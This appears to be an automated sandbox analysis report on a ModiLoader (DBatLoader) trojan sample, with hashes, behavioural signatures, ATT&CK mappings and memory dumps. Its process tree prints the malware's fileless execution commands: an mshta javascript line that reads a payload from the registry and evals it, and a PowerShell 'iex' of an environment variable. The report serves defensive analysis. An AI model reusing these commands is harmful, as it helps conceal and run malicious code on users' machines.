modiloader | ef25313a7b59df43c2150b052bd58e16e9d8df408037cd15e4bf9f4f60edc70f

General

Target

4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
Size

282KB
MD5

4172450c063164dcb0df17869454d02a
SHA1

94e0450729822708152b9eee33c090dd2176812e
SHA256

ef25313a7b59df43c2150b052bd58e16e9d8df408037cd15e4bf9f4f60edc70f
SHA512

a7ba57f121233d0bfaeb639e4e2f2397be667d70e61a309599bf182d09862d6fb154d3ec6f3de730c4552905e864c0abf3a5304a72a476fec7d7b08155cf1623
SSDEEP

6144:t/gYfjNgR9sBfRO0HDhhFFd4Dx0DdO/uhUjL/GnFn3Xyk7:t/gwuR9sBfR9hfBdO/WFnHyQ

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2564 4280 mshta.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2564	4280	mshta.exe

ModiLoader Second Stage 9 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3400-4-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral2/memory/3400-5-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral2/memory/3400-3-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral2/memory/3400-10-0x0000000000A00000-0x0000000000AC2000-memory.dmp	modiloader_stage2
behavioral2/memory/3400-8-0x0000000000A00000-0x0000000000AC2000-memory.dmp	modiloader_stage2
behavioral2/memory/3400-11-0x0000000000A00000-0x0000000000AC2000-memory.dmp	modiloader_stage2
behavioral2/memory/3400-9-0x0000000000A00000-0x0000000000AC2000-memory.dmp	modiloader_stage2
behavioral2/memory/3400-7-0x0000000000A00000-0x0000000000AC2000-memory.dmp	modiloader_stage2
behavioral2/memory/3400-6-0x0000000000A00000-0x0000000000AC2000-memory.dmp	modiloader_stage2

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation mshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

4172450c063164dcb0df17869454d02a_JaffaCakes118.exe

description	pid	process	target process
PID 4720 set thread context of 3400	4720	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2512 powershell.exe
2512 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2512 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

4172450c063164dcb0df17869454d02a_JaffaCakes118.exe

pid process

4720 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe

pid	process
2512	powershell.exe
2512	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2512	powershell.exe

pid	process
4720	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

4172450c063164dcb0df17869454d02a_JaffaCakes118.exemshta.exe

description	pid	process	target process
PID 4720 wrote to memory of 3400	4720	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
PID 4720 wrote to memory of 3400	4720	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
PID 4720 wrote to memory of 3400	4720	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
PID 4720 wrote to memory of 3400	4720	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
PID 4720 wrote to memory of 3400	4720	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
PID 4720 wrote to memory of 3400	4720	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
PID 4720 wrote to memory of 3400	4720	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
PID 4720 wrote to memory of 3400	4720	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
PID 4720 wrote to memory of 3400	4720	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
PID 4720 wrote to memory of 3400	4720	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe	4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
PID 2564 wrote to memory of 2512	2564	mshta.exe	powershell.exe
PID 2564 wrote to memory of 2512	2564	mshta.exe	powershell.exe
PID 2564 wrote to memory of 2512	2564	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\4172450c063164dcb0df17869454d02a_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4720

C:\Users\Admin\AppData\Local\Temp\4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\4172450c063164dcb0df17869454d02a_JaffaCakes118.exe"
2⤵
PID:3400

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:fTLS3Zl="eAC";ze63=new%20ActiveXObject("WScript.Shell");ahU3ViS="dQO7I";Rl0Mv=ze63.RegRead("HKLM\\software\\Wow6432Node\\FY6mb0\\DHq9s0Zu");oAmcjHny5="bUjO";eval(Rl0Mv);hOdrA1fk9="NPqB";
1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2564

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:meuszk
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dhdystig.scw.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2512-27-0x0000000005C10000-0x0000000005F64000-memory.dmp

Filesize
3.3MB

Download
memory/2512-16-0x0000000005480000-0x00000000054E6000-memory.dmp

Filesize
408KB

Download
memory/2512-13-0x0000000002990000-0x00000000029C6000-memory.dmp

Filesize
216KB

Download
memory/2512-14-0x00000000055E0000-0x0000000005C08000-memory.dmp

Filesize
6.2MB

Download
memory/2512-30-0x0000000007920000-0x0000000007F9A000-memory.dmp

Filesize
6.5MB

Download
memory/2512-29-0x00000000060E0000-0x000000000612C000-memory.dmp

Filesize
304KB

Download
memory/2512-28-0x00000000060A0000-0x00000000060BE000-memory.dmp

Filesize
120KB

Download
memory/2512-17-0x00000000054F0000-0x0000000005556000-memory.dmp

Filesize
408KB

Download
memory/2512-15-0x00000000052E0000-0x0000000005302000-memory.dmp

Filesize
136KB

Download
memory/2512-31-0x0000000006590000-0x00000000065AA000-memory.dmp

Filesize
104KB

Download
memory/3400-9-0x0000000000A00000-0x0000000000AC2000-memory.dmp

Filesize
776KB

Download
memory/3400-10-0x0000000000A00000-0x0000000000AC2000-memory.dmp

Filesize
776KB

Download
memory/3400-6-0x0000000000A00000-0x0000000000AC2000-memory.dmp

Filesize
776KB

Download
memory/3400-5-0x0000000000400000-0x0000000000436000-memory.dmp

Filesize
216KB

Download
memory/3400-4-0x0000000000400000-0x0000000000436000-memory.dmp

Filesize
216KB

Download
memory/3400-7-0x0000000000A00000-0x0000000000AC2000-memory.dmp

Filesize
776KB

Download
memory/3400-3-0x0000000000400000-0x0000000000436000-memory.dmp

Filesize
216KB

Download
memory/3400-11-0x0000000000A00000-0x0000000000AC2000-memory.dmp

Filesize
776KB

Download
memory/3400-8-0x0000000000A00000-0x0000000000AC2000-memory.dmp

Filesize
776KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads